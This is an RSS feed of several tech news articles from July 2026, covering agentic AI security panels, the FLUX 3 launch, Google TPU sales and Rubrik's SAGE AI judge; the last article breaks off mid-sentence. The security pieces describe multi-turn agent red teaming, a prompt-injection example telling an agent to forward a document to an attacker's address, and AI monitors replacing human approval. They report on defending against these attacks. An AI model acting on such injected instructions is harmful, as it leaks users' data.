assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
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<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
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<title><![CDATA[You Didn’t Get the AI Model You Paid For]]></title>
<description><![CDATA[The line in the response object You call the API. You pass model: “claude-fable-5”. You get back a completion, a token count, and a field that reads “model”: “claude-opus-4-8”. Nothing errored. Nothing retried. The request was classified before generation began, matched a sensitive category, and ...]]></description>
<link>https://tsecurity.de/de/3689968/ai-nachrichten/you-didnt-get-the-ai-model-you-paid-for/</link>
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<pubDate>Thu, 23 Jul 2026 20:24:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The line in the response object You call the API. You pass model: “claude-fable-5”. You get back a completion, a token count, and a field that reads “model”: “claude-opus-4-8”. Nothing errored. Nothing retried. The request was classified before generation began, matched a sensitive category, and was handed to a different set of weights entirely. Anthropic […]</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/23/you-didnt-get-the-ai-model-you-paid-for/">You Didn’t Get the AI Model You Paid For</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[Google has started selling TPUs, but still keeps most for itself]]></title>
<description><![CDATA[Some lucky customers took delivery of their own Tensor Processing Units (TPUs), custom chips developed by Google for AI applications, in the second quarter, company executives disclosed during a call to discuss its latest financial results on Wednesday.



The disclosure comes at a time when ente...]]></description>
<link>https://tsecurity.de/de/3689932/it-security-nachrichten/google-has-started-selling-tpus-but-still-keeps-most-for-itself/</link>
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<pubDate>Thu, 23 Jul 2026 20:13:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Some lucky customers took delivery of their own Tensor Processing Units (<a href="https://www.networkworld.com/article/4093957/what-are-tpus-your-guide-to-tensor-processing-units-and-ai-acceleration.html">TPU</a>s), custom chips developed by Google for AI applications, in the second quarter, company executives disclosed during a call to discuss its latest financial results on Wednesday.</p>



<p class="wp-block-paragraph">The disclosure comes at a time when enterprises are grappling with a global shortage of high-end GPUs that is driving up costs and slowing AI deployment timelines, and even <a href="https://techcrunch.com/2025/11/03/altman-and-nadella-need-more-power-for-ai-but-theyre-not-sure-how-much/" target="_blank" rel="noreferrer noopener">those who have GPUs don’t always have electricity to operate them</a>.</p>



<p class="wp-block-paragraph">“We delivered to customer data centers for the first time in Q2,” said <a href="https://www.linkedin.com/in/anat-a-a334433/" target="_blank" rel="noreferrer noopener">Anat Ashkenazi</a>, CFO of Google’s parent Alphabet, adding that the company had begun to recognize a small amount of revenue from TPU orders, although it expected to recognize more in 2027.</p>



<p class="wp-block-paragraph">Ashkenazi did not name the customers or describe the commercial arrangements, leaving open questions about whether the systems are being deployed by large enterprises, governments, sovereign AI initiatives, or other cloud providers.</p>



<p class="wp-block-paragraph">Until recently, Google’s TPU strategy centered on giving customers access to the chips through Google Cloud, while using the same silicon internally to power its own AI models and services. But during the company’s last earnings call in April, just days after it <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">released two new TPU models</a>, CEO <a href="https://blog.google/authors/sundar-pichai/" target="_blank" rel="noreferrer noopener">Sundar Pichai</a> said Google would consider selling TPUs to AI labs, capital markets firms, and high-performance computing applications.</p>



<p class="wp-block-paragraph">On Wednesday’s call, Pichai said Google will scale up TPU sales “based on the opportunities we see and the demand we see, commensurate with the constraints that exist and the allocation needs we have for frontier model development.”</p>



<p class="wp-block-paragraph">But Google is still keeping the bulk of its TPUs for itself, either for internal use or to rent out through Google Cloud Platform.</p>



<p class="wp-block-paragraph">“Our first priority is making sure we are allocating what we need to compete at the frontier in terms of AGI development,” Pichai said on Wednesday’s call. “We are using both TPUs and GPUs mainly for serving our models.”</p>
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<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
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<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with 